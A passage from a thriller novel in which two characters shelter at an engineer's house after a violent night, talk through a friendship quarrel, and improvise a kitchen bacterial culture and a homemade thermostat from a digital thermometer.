“Pride? *Pride?*” Danny repeated shrilly. “You think I should feel *pride*? Jason, all I feel right now is regret! Regret for meeting you, regret for agreeing to any of this, regret for being in this car right now. I never want to do anything like this *ever again*. I wish I didn’t do it at all in the first place. I wish I could erase the memories of it that are playing in an infinite loop in my head right now — all these... these horrific scenes of... of... Fuck! I wish I could rewind back to yesterday afternoon, when you came up to me after my Claymore presentation, and just told you, ‘No, thanks.’ And in some alternate universe, in which I actually did that like I should’ve, I’ve spent all night tonight updating my LinkedIn profile and fiddling with my resume and flipping through job openings on Craigslist, and right now I’d be staying up late re-playing Skyrim because I know I don’t have work tomorrow. *That’s* where I’m supposed to be. *That’s* my life. *That’s* my home universe. But instead, I’m *here*. And *here*, I’ve spent the night... in...”

He looked down at himself, at his shirtless torso and his wounded hand. He felt his shoulder throbbing. He took a long, slow, deep breath.

“I’m sorry, Jason.” He popped the car door open. “You want to continue this insanity and go digging up dirt on this consortium or whatever? You’ll have to do it without me. Find some other pet cybermonkey to sick on your business rivals. I’m done.”

BEEPING SOUNDS CHIRPED OUTSIDE Danny’s front door as he punched in his keycode. The digital lock pinged and the deadbolt slid away under the pull of an electromagnetic solenoid. In the dark, the door’s insulation foam swished softly against the stone tiles in the entryway. Tired hiking-booted feet dragged themselves inside. Motion sensors detected a human-sized infrared blob, and the main room’s lights gently came to life to welcome Danny’s return.

Danny’s home was spacious but simple. His foyer, kitchen, and living room formed one continuous L-shaped expanse which wrapped around his bedroom and bathroom. Ahead of him, the large kitchen was demarked by a granite-topped peninsula counter. To his side, the living room contained his black leather sofa, his carefully arranged surround-sound speakers, and an enormous entertainment system built to house a large LED TV and countless different kinds of gaming consoles both modern and vintage. A myriad of remotes and game controllers lay scattered on the coffee table, beside a metal arcade-style *Dance Dance Revolution* mat that lay nestled in the gray carpet. Soft spiraling tracks around the furniture marked the latest trip by the Roomba that sat resting in its recharging station.

Danny's first destination was through another door in the foyer, which led to his attached garage. Half of the space inside was dedicated to his Toyota Prius and his washer and dryer. The other half Danny had built into a digital electronics workshop. A solder-stained workbench formed the heart of his home laboratory, ringed by an oscilloscope, a logic analyzer, a naked computer with attached EEPROM burner, a box of Arduino boards, a whiteboard covered with equations and diagrams, and a wall full of small Plexiglas drawers holding assorted breadboard components.

He laid the HERF gun on his workbench and loosened the wires that he had severed during the fight in the factory. He prepared some shrink-wrap insulation for the red and black cables respectively, and heated up a soldering iron. With his hand still smarting from its injuries, with his torso still naked except for the gauze wrapping on his shoulder, with his brain still reeling from the fumes and the blood loss and the exhaustion, he nonetheless tended carefully to the beloved patient on his workbench. The surgery only took a minute. A few gentle dabs of solder, a few hoarse blasts from a heat gun to seal the insulation, and the high-voltage device was restored to operational status.

Before going back into the house, Danny found a spare power cable and plugged the HERF gun into the wall. The lights in the garage dimmed. He left the device to feed for the night.

DOPAMINE

He shuffled zombie-like to the bathroom, determined to cleanse himself of the stink of jet fuel and nail polish remover and soot and sweat and blood. His shower was very long and very hot. The trials and horrors of the day dissolved away down the drain, and he stepped out of the shower clean and new and freshly baptized. He found his home first-aid kit and clumsily reapplied his shoulder dressing with the help of the bathroom mirrors, and treated his hand with bandages and salve. He dressed himself in blue linen pajamas, turned off the lights, and stumbled to his bedroom.

He let himself fall face-first onto his bed, closed his eyes, and wrapped his blankets around his body.

The doorbell rang.

DOPAMINE

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ETERNITY SEEMED TO PASS between when she pressed the button and when she saw the lights come on. She stood nervously outside the door, self-consciously sweeping her hair aside. In her hands were white plastic Rite Aid bags, which she held in front of her like a flower girl with a basket of petals.

Finally, she heard a soft shambling inside the house. She wiggled her waist for poise, and gave a sharp exhale to regain composure. She wished she'd had more time to fix her makeup, but the rush-job she had done in the rear-view mirror would have to suffice.

The doorknob turned. She was greeted by a geeky zombie in slippers and blue linen pajamas.

Danny stared at her bleary-eyed.

“Tina?” he said.

She looked up at him apologetically. “I totally woke you up, didn’t I? I’m so sorry... I knew you’d probably be asleep...” Her voice came out thin and weak.

Danny stared at her with utter confusion.

“I asked Nat to text Jason for your contact info,” Tina explained. “He said he’d just dropped you off...”

Danny tried to give her a friendly smile. Instead, his face winced with exhaustion. The corners of his eyes crinkled heavily, and for a moment he looked every bit of his almost forty years of age. “It’s okay. Come on in.”

The soles of her black low-heel pumps tapped softly against the tile of Danny’s foyer. Tina looked around, delighted and relieved to see a civilized, ordered abode. She’d been worried that Danny’s place might look like Roger’s, a giant tangled mess of laptops, laundry, and KidRobot dolls. And Natalie’s living conditions, of course, were even more chaotic. Tina desperately needed a sense of order at the moment, and Danny’s house looked refreshingly sane. It was clean, sensible, uncluttered — and had a seriously sick entertainment system.

Danny wordlessly took the plastic Rite Aid bags from her and carried them to the granite kitchen counter, then mindlessly began shuffling back to the bedroom. After a few short steps, he stopped, blinked a few times, turned to her and said, “So... uh... what brings you by?”

“Well, I... I know this is kind of coming out of nowhere, but could I... Would you mind if I crashed here tonight?”

Danny blinked at her uncomprehendingly, and yawned.

She looked away. “I’m sorry, I shouldn’t have come,” she said, trying to keep her voice from cracking. “It’s almost three o’clock in the morning... I totally don’t mean to impose, I’m...” She noticed that her hands were wringing as she talked.

“Don’t worry about it,” Danny said. “Of course you can stay. But, why...?”

“Thank you. Thank you so much. I hate being any trouble. It’s just that... I’m... I’m really scared to go home...” Her lips began to tremble. She put her hands near her face to hide her mouth. She felt like a tiny, helpless creature, and she hated it. “The Russians know everything about me. They know where I live. And I just keep thinking, I’m going to walk into my place and there’s going to be someone there — in my apartment — waiting for me...”

Tina couldn’t contain her distress anymore. She put her face in her hands and, shoulders hunched, began to sob into her palms. She huddled her body away from Danny, feeling pathetic and ashamed.

Danny padded around the kitchen’s granite peninsula toward her. “Shhhh, it’s alright,” he said, his voice groggy but warm. “They won’t find you here. They don’t know me. You’ll be okay.” He put a reassuring hand on her shoulder, and spread his arms to offer a hug.

Eagerly she entered his embrace, setting aside her self-consciousness to partake in the comfort. She pressed her face and hands against his chest and cried into his pajamas like a terrified and hurt child. His arms wrapped protectively around her, and he bowed his head to rest his cheek against her hair. The pressure of his warm, dexterous hands against her back filled her with a sense of safety and peace. He was not especially muscular, but he was toned and lean, and his long arms held her in a firm sanctuary. Her body melted against his. He smelled like Irish Spring and fresh linen, and felt like home.

When the last of her arrhythmic sobs shook out of her and her breathing regained its natural cadence, she gently pulled away from him. “Sorry about your PJs,” she said with an embarrassed smile as she batted at a tiny tear-stain, her voice froggy.

He smiled at her warmly. “You want some, like, tea or anything?”

She nodded enthusiastically, and took a seat on a stool at the counter.

He fished a kettle out of a cabinet filled with pots and pans, making plenty of clanking in the process. As he filled the kettle in the sink, Tina noticed his new bandage.

“What happened to your hand?”

“Fire,” he said absentmindedly. “Kerosene. Spark gap. Fumes. Boom. Everything burning. Also, I cut it on glass. Uh... oh yeah, your doctor friend isn’t gonna get her sweatshirt back.” He set the kettle on the electric stove.

Tina stared at him, at a loss for words.

He stopped his tea-making for a moment and said, "It's been a long night."

Tina shook her head in wonder. "Did you find Julie?"

Danny looked away. "She's dead."

"Oh my God..."

"The Russians killed her. I watched it happen."

Tina's skin crawled. "God... I didn't like her, but I never..."

"And they got the vial. After everything that's happened tonight, in the end the Russians got the vial. Figures, right?" He stared at the floor blankly. "Just fucking figures..."

The kettle whistled.

Danny poured cups for the two of them and joined her at the counter. "But it wasn't a total failure. We learned what the stuff in the vial does. Want to take a guess?"

"Biological warfare agent?" Tina tried.

“Nuh-uh. Turns out it’s a cocaine-making biomachine. It takes some stuff called ‘glutine’ or ‘glumine’ or something like that...”

“Glutamine?”

“Yeah, that’s it,” said Danny as he sipped. “You feed it that stuff and it turns it into cocaine. Crazy, right?”

Tina held her cup of tea in both hands and gave a slight shrug, smiling.

“You don’t seem too shocked,” said Danny.

“Eh. I was the one that filed Tungsten’s paperwork for all their FDA and DEA authorizations. I’ve seen stuff about cocaine cross my desk a lot. It’s kind of surprising, but kind of not. And it actually works? The *E. coli* in that vial actually runs the entire metabolic pathway for cocaine biosynthesis?”

“Apparently,” Danny said with a nod. With a warm chuckle he added, “Heh. Listen to you! ‘Metabolic pathway for biosynthesis.’ That’s the kind of stuff that intern girl was saying. Do all you bio people talk like that?”

Tina looked away bashfully. “I’m not really a bio person, you know. I’m just their office admin.”

“Oh come on,” he said. “You can obviously hold your own. I bet the only thing keeping you from being a real bio person is just the fact that you don’t see yourself as one.”

Tina looked at him with eyes wide and hopeful. “You really think so?”

“Sure,” Danny said, mumbling through exhaustion. “But, I mean, don’t ask me. Look at your friend, for example. That doctor girl. She obviously knows what she’s doing, right? And I know that smart people tend to gravitate toward other smart people, so...”

At the mention of Natalie, Tina’s expression soured. She looked away sadly.

“What’s wrong?” Danny asked.

Tina’s face bore a distant frown. “Natalie and I had a kinda-sorta fight.”

Danny blinked uncomprehendingly. “A fight?”

“Yeah. It’s kind of why I’m here tonight.”

Danny seemed to think really hard before coming up with his most earnest facsimile of sympathy. “I’m... sorry?”

“Don’t get me wrong, we’re totally still BFFs,” Tina amended. “I mean, she let me borrow her car here and everything. But... some pretty heavy stuff came out.”

“What kind of heavy stuff?” Danny asked.

“Well...”

NATALIE HAD STAYED WITH MIKE for as long as she could. She watched with delight as he and his two dorky friends forged emails from the Russians. The whole sequence had barely taken more than an hour, and Natalie looked on like a teenage girl watching her all-star dream-boy playing hockey from the end of the rink.

Afterward, she and Mike flirted openly, casting coy glances and saying clever, adorable things to each other.

“You guys!” Moshen said. “Get a room already, will you?”

“We have one,” Mike replied from his hospital bed. “You’re in it.”

Tina spent most of the time standing in the corner, irritated.

Eventually, the trauma ward staff pulled rank on Natalie and shooed the visitors away. Reluctantly, Natalie bid Mike farewell.

“Here, let me give you something to help you stay awake,” she said slyly, and leaned down over him. Beneath his smashed nose, his mouth was mostly uninjured.

She put a hand against Mike’s hairy face and planted a deep, firm kiss.

He reciprocated, leaning into her lips as much as he could. He lifted a hand to put behind her head, his large fingers weaving through her frizzy hair. His heart monitor registered an increase in his pulse.

Natalie slowly drew away, glowing. “I’m writing you a prescription for those,” she said with a smirk. “Expect more of them.”

When the two young women returned to Natalie’s apartment, her face was still glowing. She looked at Tina speechlessly with an excited conspiratorial grin, able only to squeeze out a high-pitched, “Eeeee!” as commentary on her night’s experience.

Tina’s mood wasn’t anywhere near as jovial.

“God, what am I going to do about work tomorrow, Nat?” Tina fretted as she planted herself on the dilapidated couch. She lifted her knees up to her chest and wrapped her arms around her legs. “The whole office is smashed up. There’s bullet holes in the walls.”

Natalie replied, “Just call the cops...” Her voice was light and breezy. After a pause, she added, “No, wait. Don’t. You could get Mike and his friends in trouble.” Natalie noticed her cat rubbing against her leg. She greeted the little gray fuzzball enthusiastically with a cartoonish voice, and scooped him up to pet him with long, loving strokes.

“Well, the cops have to get involved at some point,” Tina figured. “God, and my car is still there! Shit! Nat, I’m going to need to borrow yours. Is that alright? If I even go into work tomorrow. You think I should? Or maybe I should just lay low for a day or two.”

“That’s fine,” said Natalie absentmindedly as she nuzzled her face against her cat’s fur. “I usually just walk to work anyway.” She carried her furry gray friend into her kitchen and managed to find a bag of cat treats somewhere amidst the soup cans and potato chips. After dispensing a few crunchy bits onto the floor and letting her cat jump down to enjoy them, she looked around her biohazard of a kitchen. She put her hands on her hips and pursed her lips off to one side, scanning the area with thoughtful displeasure.

“So you *do* think I should go to work tomorrow?” Tina asked tensely. “But that means I’ll show up and Drippy will be like, ‘What the hell happened here?’ and what am I supposed to say? ‘Yeah, I was here but I didn’t get a chance to call you or the cops, because I... uh...’ I mean, it’s not like I can just play dumb, right? Should I just, like, hide until Drippy calls me, or what?”

“Yeah, that’s probably a good idea,” said Natalie. Her gaze landed resolutely on the kitchen sink, barely visible under the dirty dishes and silverware. She marched up to it, cleared some room around the tap, and set the hot water to full blast. The sponge next to the sink smelled of mildew, but a thick slathering of lemon-scented dish soap exorcised the odor quickly. Natalie pulled on a pair of rubber gloves and got to work.

Tina glared in Natalie’s direction. “God damn it, Nat! Are you even listening?”

Natalie shut off the tap. “I’m sorry, hon. I couldn’t really hear you with the water running. What’s up?”

“‘What’s up?’” Tina snapped. “What’s up is that I’m scared for my life here! I don’t know what to do, and I need your help, and you’re over there doing some... Wait a minute... You’re...?” Her expression shifted from anger to shocked confusion. “...Cleaning? Holy shit! Nat, are you *cleaning*?”

Natalie stopped the dishwashing immediately, and her face sank in embarrassment. She peeled off the gloves and came around to join her friend on the couch in the living room. The cushions shifted under Tina as her heavy friend sat down. “God, you’re absolutely right. T, I’m so sorry! I’ve totally been ignoring you, haven’t I? I guess I’m just a little... distracted...” She smiled self-deprecatingly.

Tina inched away from her friend on the off chance that she might be demonically possessed. “I’ve known you since we were teenagers, and not once have I ever seen you do the dishes.”

Natalie shrugged, “Yeah, well. I just looked around and thought to myself, ‘You know, I should make this place look a little nicer.’ ”

“What’s gotten into you, Nat? I’ve never seen you so...”

“So what? So giddy?”

“Yeah. About a *guy*,” said Tina.

Natalie looked away mischievously. “I know! Isn’t it great?”

Tina shook her head. "That's just really not like you."

"What, I'm not allowed to be into a guy?" Natalie said with a giggle. "That's against the rules?"

Tina nodded. "Kind of, yeah."

"What do you mean?" Natalie chuckled.

"I just thought that you were above that," Tina shrugged.

There was a subtle shift in Natalie's face. She still smiled, but her brow furrowed and her eyes set on Tina with a hint of irritation. "Above what?"

"You know. Men. Dating. Relationships. I just thought you weren't into it."

The glow of bliss began to fade from Natalie's face. "Why on Goddess's green Earth would you think that?"

"Because, you've always been all about your studies," Tina said, growing a bit defensive. "Your wicca stuff, your school stuff, your work stuff. You know. Important things."

Natalie blinked at her in bewilderment. "Important things'? You think *those* are important things?"

"Well, aren't they?" Tina said.

Natalie reached down to the floor next to the couch. “Let me show you something.” From a pile of random junk that she had moved off of the couch earlier that night, Natalie produced a knotted silk handkerchief wrapped around a clump of twigs. “Do you remember what this is?”

“Yeah,” said Tina. “It’s a love charm.”

“It’s the material component of a love summoning spell,” Natalie corrected. “It’s supposed to draw your soulmate to you.”

Tina nodded with a nostalgic smile. “Ah, right! I remember you and me used to cast those back in high school.”

Natalie held it up in front of herself and said, “I’ve cast one every month for the last ten years.”

Tina looked back and forth between the bundle and her friend. “I... I don’t get it, Nat,” she stammered. “You’ve always been so confident and comfortable in your own skin... You’ve never needed to have a guy in order to feel complete. Since when have you been desperate to be with someone?”

“Since always,” Natalie replied.

Tina shook her head. “I’ve always been the one that’s obsessed with boys. You’ve always been the one that’s got her life together.”

Natalie swept her arms out to gesture at the apartment. “Does it *look* like I’ve got my life together?”

Tina rolled her eyes. “Yes, your apartment’s messy. But so what? Big fucking deal. Nat, in the grand scheme of things you’re a success...”

“No, T. I’m a wreck,” Natalie replied. “A crazy, unattractive, workaholic wreck that men won’t touch with a ten-foot pole.”

“Nat, you’re not...” Tina started.

“And frankly,” Natalie interrupted, “I’ve never understood why you’ve always failed to see that.”

“Because it’s not true, Nat,” Tina protested. “I don’t understand where all of this is coming from.”

Slowly and somberly, Natalie said, “Yes, you do, T.” She looked down and gestured at her body. The side of the couch on which she sat see-sawed considerably lower than Tina’s. “Yes, you do.”

Tina sighed softly. “Nat, come on. Don’t be silly,” she said with forced gentleness. “You’ve always been, you know, big-boned. I’ve never seen it get you down. When has your weight ever been a problem?”

“When has it ever not been a problem?” Natalie threw back. “You haven’t seen it get me down because you’ve never looked.”

“What are you talking about?” Tina protested. “I’ve seen you having fun with guys! What about our last trip to Alki Beach? Or any of the thousands of times you and I have gone out on the town together? Boys see us hanging out, and they’re always like, ‘Hey! Who are those hot girls?’ They come over, chat us up, buy us drinks, try desperately to get into our pants. Hilarity always ensues.”

Natalie looked at her darkly. “T... That’s not how it ever plays out from *my* point of view.”

“What do you mean?”

“They don’t hit *us*, T,” Natalie said bitterly. “They hit on *you*. I’m an obstacle. I’m a cock-block. I’m a grenade that one guy in the group agrees to jump on. They always have some designated schmuck who comes and distracts me so his buddies can mack on you.”

“What?” Tina sputtered. “Nat, where are you getting this...?”

“From paying attention!” said Natalie, struggling against her agitation. “Look, T, you don’t see it for what it is, because the unspoken social dynamic always plays out in your favor. But the fact is, whenever it comes to guys, it’s always been all about you. You’ve always been the prize. I’ve always been just the fat, weird best friend.”

Tina shook her head in bewilderment. “Nat, there have been guys that are into you...,” she said uncertainly.

“No, there really haven’t,” Natalie replied grimly.

“You’ve had boyfriends, Nat...”

Natalie challenged, “Name one.”

Tina opened her mouth to speak, but nothing came out. Her eyes drifted upward as she scrolled through memories of high school, of college, of their early adult lives together, searching for images and vignettes of short-lived romances both silly and sordid. The only misadventures that came to her mind were her own.

Natalie interrupted her silent scouring with a hand on Tina’s shoulder. “Look, it’s not that big of a deal,” she said with tense calmness. “I don’t mind playing to type. I’ve learned to kind of enjoy the awkward social situations that result from it. And every now and then I meet some genuinely interesting guys with you and enjoy some decent conversation. But T, let’s face it: I’ve never really had a love life of my own. You’ve always been the one to whom relationship stuff happens. I’ve always felt... ancillary. Like a note in the margin.”

Tina stared at her friend dumbfounded. “Nat, you...? You see *yourself* as marginal? Compared to *me*?”

Natalie looked away bashfully. “I kind of always have.”

“Nat, that’s... that’s absurd!” Tina said with laughter that bordered on tears.

With a warm but pained smile, Natalie asked, “Why should it be absurd?”

“Because...” Tina stammered. “Because that’s what *I’ve* always... Because that’s what I always thought *I*... Nat, you’ve always been my rock... I always thought I’m the one whose life is a giant mess and you’re the one who’s got all the answers...”

With her eyes red and puffy, Natalie let out a somber, bittersweet laugh. “T, I don’t know anything more about how this whole ‘life’ thing works than you do.”

The two women wrapped their arms around each other and shared a long, tight hug. It was cathartic, and apologetic, and forgiving, and thankful, and restorative. They didn’t cry, they didn’t speak. They didn’t need to.

They pulled away and smiled at one another. Natalie’s face began to regain its happy glow.

“So...” Tina said, her voice soft but chipper. “You’ve got a new boyfriend, then.”

Natalie’s gaze floated off to the ceiling. She grinned widely. “Yeah. Yeah, I do. He *likes* me, T. He likes *me*! I can see the way he looks at me and talks to me. He actually seems to think I’m cool. Me! A guy thinks I’m cool!”

Tina replied brightly, “And don’t forget brilliant and awesome!”

“And he likes me for that!” Natalie agreed, beaming. “He doesn’t see it as some kind of threat or liability or something, like a lot of guys do. And *he’s* brilliant. And *he’s* awesome! He’s strong, and he’s brave, and he’s funny. And he’s so humble about it all...”

Tina giggled lightly. “He does seem like a really great guy. I’m happy for you, Nat. I really am. And listen... When it comes to relationships and handling yourself with guys, I’ve been through one or two or thirty myself. So, I might know a thing or two about how they go. And I know you’re a psychiatrist and you’re incredibly smart and you can figure out just about everything on your own. But, Nat, I want you to know... If you ever feel like you’re out of your element, or in over your head, or you just want some help...”

With a smirk, Natalie said, “Actually, I could use a hand with the dishes...”

TINA TOOK A FINAL SIP from her tea. “I felt like that was a good note to leave on,” she told Danny. “Housework aside, I felt like I needed some space. To digest the conversation, you know? Besides... I really hate sleeping on that couch of hers.”

Danny smiled. “Well, as it so happens, Tina,” he said sweetly, “the sleeping arrangements here are quite comfy.” He hopped down from his stool and stood beside her.

“Oh really?” she coyly replied. She found the act of telling him about her night’s experiences with Natalie cleansing and cathartic. Tina felt unburdened, at ease. She looked up at him with eager, expectant eyes.

Danny reached out to touch her. She inched forward on her stool. His hand landed on her arm.

He gave her a quick pat and said, "Let me go get you some sheets." He rushed off to his bedroom, came out a few moments later carrying blankets and a pillow, and zoomed off to the living room to dress the couch.

He didn't see Tina following him with her gaze, pouting with a tinge of disappointment.

"Hey, Danny..." she said.

"Yah?" he called back from the living room.

"You know..." she said, "Finding a safe place to sleep isn't the only reason I came over here tonight."

"It's not?" He trotted back to the kitchen.

She paused until he approached. "I brought you something..."

He raised an eyebrow, Spock-like. "What kind of something?"

The white plastic Rite Aid bags lay at the end of the counter. Tina rifled through them for a moment, their plastic crinkling sounds filling the still house. She pulled out a white latex glove. It was turned inside-out, and twisted and knotted near the base of the digits.

Danny looked at it quizzically.

“Do you remember,” Tina asked him, “when we were back at the Rite Aid, when I first saw that the bacteria had formed a biofilm? Remember I scraped out a little bit of it from the Eppendorf vial and held it in my fingers with this glove?”

Danny nodded.

“Come take a look,” she said. She pinched a small segment of the inverted latex glove and stretched it tight against her fingers. Danny leaned in to see.

Inside the glove, preserved in the latex, was a small crumb of yellowish brown crusty substance, barely a few millimeters wide.

“Holy shit...” Danny gasped.

“See?” said Tina. “You were beating yourself up about losing the vial. I figure this should cheer you up.”

Danny nodded excitedly. “Is that one tiny little flake enough to work with?”

“In theory it only takes one bacterium to grow an entire colony,” Tina answered.

“But are they still alive?” asked Danny. “And even if they are, can you wake them up out of that filmy stasis panic mode thing without killing them?”

Tina flashed him an excited grin. “There’s only one way to find out.”

21

CLANGING AND CLATTERING CAME FROM THE COOKWARE CABINET as Danny dug around for the biggest container he could find. With an accompaniment of metal percussion, he produced a two-gallon stainless steel pot, complete with lid.

“That’ll be perfect,” said Tina. “Here, wipe down the inside.” She tossed him some alcohol wipes.

Danny watched her as she worked at his kitchen counter. She had arranged a row of bottles and tubs that they’d bought at Rite Aid. The sleeves of her simple white button-down shirt were rolled up to her elbows, and her hands were wrapped in a fresh pair of rubber gloves. She carefully measured and poured powders into the Pyrex mixing bowl.

“Hey, Danny,” she said. “Could I borrow a paper and pencil?”

“Sure,” he said, scrubbing the pot with the alcohol wipes. “What for?”

“I want to sanity-check some of my ratio estimates,” she said, tapping at the Pyrex bowl. “That pot is, what, two gallons?”

Danny nodded. “Something like that.”

“You don’t happen to know what that is in liters off the top of your head, do you?”

“7.6,” he replied almost instantly.

Tina stared at him slackjawed. “I... was joking...”

Danny simply shrugged. “Actually, more like 7.57,” he added after a moment.

She blinked. “Right. So, about that pencil and paper...”

“In the bedroom,” Danny said, pointing. “On the desk, next to the computer.”

Tina walked away toward his bedroom. Danny’s gaze followed her. Those black slacks moved with a wonderfully mesmerizing sway. He felt himself drawn to her by a force he could only describe as electromagnetic. Through the doorway he could see her standing by his computer desk. He could so easily just come up behind her, put his hand on her waist, feel her tight body through the fabric of her shirt, pull her toward him. Hear her gasp in surprise and delight and press herself against him. Run his fingers through her hair, sweep it aside from the back of her head, expose her neck. Put his lips on her ear and tug gently at her earlobe, nibble lightly, trace his mouth down along the nape of her...

He dropped the two-gallon pot.

He managed to duck down and catch it before it crashed on his kitchen tile. When he stood back up, Tina was returning.

“Fill the pot with hot water,” she instructed, “and pre-heat the oven to 450.” She put the paper on the counter and began writing on it, her mind sharply focused.

Danny did as told. When he went to prepare the oven, the clock above the stove entered his field of vision. The time was 3:17am.

His exhaustion returned to him like a lead shawl suddenly draped upon his shoulders. For a few moments, he barely felt strong enough to stand. He put the pot into the sink and began filling it, leaning heavily against the counter with both hands. With unfocused vision, he watched the hot water rise against the stainless steel, swirling and sloshing and effervescing.

Tina’s voice came from behind him. “Pssst! Incoming!” He turned around and saw her standing with the Pyrex bowl in both gloved hands, filled with an off-white powder of flour-like consistency. She stepped up to the sink beside him and poured the powder into the pot, stirring vigorously with a metal spatula as the water level rose.

She stood literally within arm’s reach of him. From here, he could see the smudges on her face from hastily applied makeup. He could smell the traces of her floral perfume.

He caught himself subtly leaning into her. He wasn't sure whether or not she caught him doing it; she simply kept standing there, stirring the pot as it filled, her eyes fixed downward to her task. He did notice, though, that her cheeks were blushing, and her lips were drawn up in a coquettish smile.

The water neared the brim of the pot. Tina shut off the tap, and silence abruptly filled the house. She stood motionless for a moment, her hand frozen on the water knob.

Danny looked down nervously at the pot.

Tina broke the stillness with a sharp inhale. "Alright then," she said. "So, let's get this stuff semi-sterilized, I guess."

Inside the pot, the broth simply looked like saltwater — slightly cloudy and silty, like ocean brine. She closed its lid, carried it to the stove, and loaded it into the pre-heated oven.

With the water busy heating, Danny wandered back around to the opposite side of the counter and grabbed a seat on one of the stools. "So, what happens now?" he asked, resting his head limply on his hands.

"In about ten minutes," said Tina, "the water will hit a rolling boil. When that happens, I'll turn down the heat and let it simmer for a while."

Danny let out a big yawn and said, "Cooooool."

Tina came around to sit next to him. “A real autoclave would suck out all the air and then blast it with pressurized steam for twenty minutes. What we’re doing here is less thorough, but hopefully it’ll get the job done. We’ll lose some water in the boiling, so the broth will be a little thicker than it’s supposed to be. But hopefully the *E. coli* will like that.”

Danny folded his arms lazily on the granite countertop. He groggily said, “Yay, happy germs,” before laying his head down on his forearms and closing his eyes.

Tina chuckled. “Tired?”

Danny snorted. “So tired...”

“Aww.” She reached out to touch his head. Her black-polished fingernails scratched lightly at his scalp. Barely able to stay conscious as he already was, the sensation sent his mind floating off into a happy place. A soft, contented hum, almost a purr, escaped from beneath his breath...

A clanking, rattling noise emanated from the oven.

Danny rose quickly and looked at it with fear, mustering whatever alertness he could.

Tina pulled her hand back and giggled at him. “It’s just the lid. The water’s starting to boil. We’ll give it another few minutes.”

“And then it’ll be sterile?” asked Danny.

Tina shook her head. “Not by a long shot. ‘Sterile’ literally means that there’s nothing alive. There’s no way we’ll achieve that without a real autoclave. The air, the water, the inside of the pot, it’s all teeming with life.”

“No, the water’s clean,” Danny murmured. “It just came out of the sink.”

“Heh. Try looking at tap water under a microscope sometime,” Tina replied.

“But we’re boiling it,” Danny said quizzically. “And we scrubbed it with alcohol.”

“All of that helps, yes,” said Tina. “But there are bacteria that can survive alcohol, boiling, fire, pressure, acid... You name it, they can live through it. They harden their cell walls and form endospores, and they’re basically indestructible.”

“So what’s the point of even trying?”

“Well, just because we can’t get it perfect doesn’t mean we can’t get it good enough to work,” said Tina. “See, in a lab we’d want the *E. coli* to be the only living things in the entire broth. But in practice, we just need them to be the dominant lifeform in there, not necessarily the exclusive one. Different strains of bacteria will usually try to kill and eat each other anyway, so really all we have to do is give our *E. coli* a leg up on the competition. We kill as much stuff as we can, and trust the *E. coli* can handle the rest on their own.”

Danny grunted and nodded, and put his head back down.

“The real trick,” Tina continued, “will come afterwards. See, when we take the broth out of the oven, we’ll need to cool it down just the right amount. If we put the bacteria in when the water’s still boiling, it’ll kill them. But if we let it cool all the way down to room temperature, they won’t grow. We need to find a way to keep the broth just warm enough for incubation.”

Danny nodded. “And how warm is that?” he asked groggily.

Tina walked over to the Rite Aid bags and pulled out the cheap digital thermometer. “Body temperature,” she said. “Ninety-eight point six degrees Fahrenheit.”

Danny made an affirmative zombie-like noise.

“But keeping it there will be tricky,” Tina said. “An electric stove’s lowest setting is around 200. It’s way too hot. What we’d basically have to do is keep the pot on your range, and take shifts checking the thermometer 24/7, turning the heat on and off every few minutes to keep it near 98.6. Unless you’ve got any other suggestions.”

Danny shrugged and groaned uncertainly. “Put it in a nest and sit on it?”

Tina giggled. “That would get the job done, but I don’t know how fast this strain of *E. coli* multiplies. So I don’t know how long I’d have to be sitting there waiting for it to hatch.”

“It’s okay,” said Danny. “I’ll bring you worms, and distract predators with my colorful feathers. You’ll be safe and comfy.”

“Any better ideas?” Tina said with a chuckle.

Danny yawned hard. After a few moments of deep thought, he reached out toward her and made grabby motions with his bandaged hand. “Here, let me see that thermometer...”

He carefully examined the small device. Through its translucent white plastic shell, he could see a narrow green circuitboard behind the temperature readout screen.

Wordlessly, Danny hopped down from his stool and staggered toward his foyer.

“Ooh! You have a plan, don’t you?” Tina asked eagerly.

Behind her, the lid on the pan inside the oven clattered loudly. She hopped over to the stove to reduce it to a simmer.

Danny walked mechanically to the door leading out to his garage. Circuit schematics materialized in his head. In his mind’s eye appeared fine gray rectilinear diagrams of transistors, power supplies, crossovers... It was child’s play.

By the time Tina followed him to the garage, he was already seated at his workbench. The thermometer was clamped into a vise beneath a large table-mounted magnifying glass with a bright built-in lamp. He was slicing its translucent plastic shell with a scalpel-like X-ACTO knife.

“Can I watch?” she asked, and leaned closely over his shoulder.

He gently tapped the metal bulb at the tip of the thermometer with his blade. “See that?” he said. “That’s the casing for a little thing called a ‘thermistor...’”

With a few more strokes of the knife, the thermometer’s shell split in half. While the wide end with the digital display stayed clamped in the vise, the narrow end fell away. It dangled by two thin orange wires, barely as thick as a hair. Working carefully under the magnifying glass, he severed the two wires and brought the newly freed tip down to the surface of the table.

“Is that the temperature sensor?” asked Tina.

“Basically, yeah,” said Danny. “It’s made of a special temperature-sensitive ceramic material. The warmer it gets, the more it impedes the flow of electricity. Thermal resistor, see?” He reached beside his workbench toward his own large collection of wires, spun onto plastic spools and carefully arranged by thickness and color. He cut away several lengths and stripped their ends. He then set down his knife, drew a hot soldering iron out of its holster in the corner of his table, and delicately applied tiny drops of solder to their tips.

“I thought thermometers use mercury,” she said. “And that you’re not supposed to open them like that.”

Danny shook his head. “Mercury thermometers have been getting phased out for years. These digital ones are better anyway. They’re all solid-state. Here, hold this, okay?”

He passed her the severed bottom of the thermometer. Thanks to his soldering work, the two wires that dangled from it were now several feet long.

When she took it delicately in her fingers, he pressed it into her palm. “No, like this...” He put his hands around hers and folded it around the sensor. “Warm it up...”

He noticed himself lingering on her touch. Their eyes met. There was a long pause.

Tina said softly with a hint of a smile, “You know, it won’t reach body temperature in my hand.”

“It won’t?” Danny asked quietly.

“No chance,” she said. “It’s an oral thermometer.”

“Oh...” he murmured.

Their eyes still locked, she drew her hand away from his and turned the thermometer around in her fingers. Her lips parted gently. She slid it into her mouth, nestling the tip in the space beneath her tongue.

Danny found himself forgetting to breathe.

He abruptly stood up from the workbench and turned away. He stepped briskly to a case of narrow shelves, each bearing translucent plastic bins filled with assorted electronic components. “So anyway... It won’t need much...” he mumbled. “One transistor... A switching power supply... Power MOSFET... Relay... A rheostat for calibration...”

He returned to the workbench with a handful of black and silver objects, which he spilled onto the table like jacks as he sat back down. He selected a breadboard, an index-card-sized rectangle of white plastic dotted with a grid of hundreds of tiny holes. Into two of the countless sockets, he inserted the loose ends of the long wires soldered to the thermistor, still hanging from Tina’s mouth as she stood there blinking. Into two others, he slid wires from a regulated variable power supply at the back of the table. He then began drawing pieces from his pile of components and adding them to the breadboard. After barely a few minutes of silent labor, he announced, “There!” and sat back triumphantly.

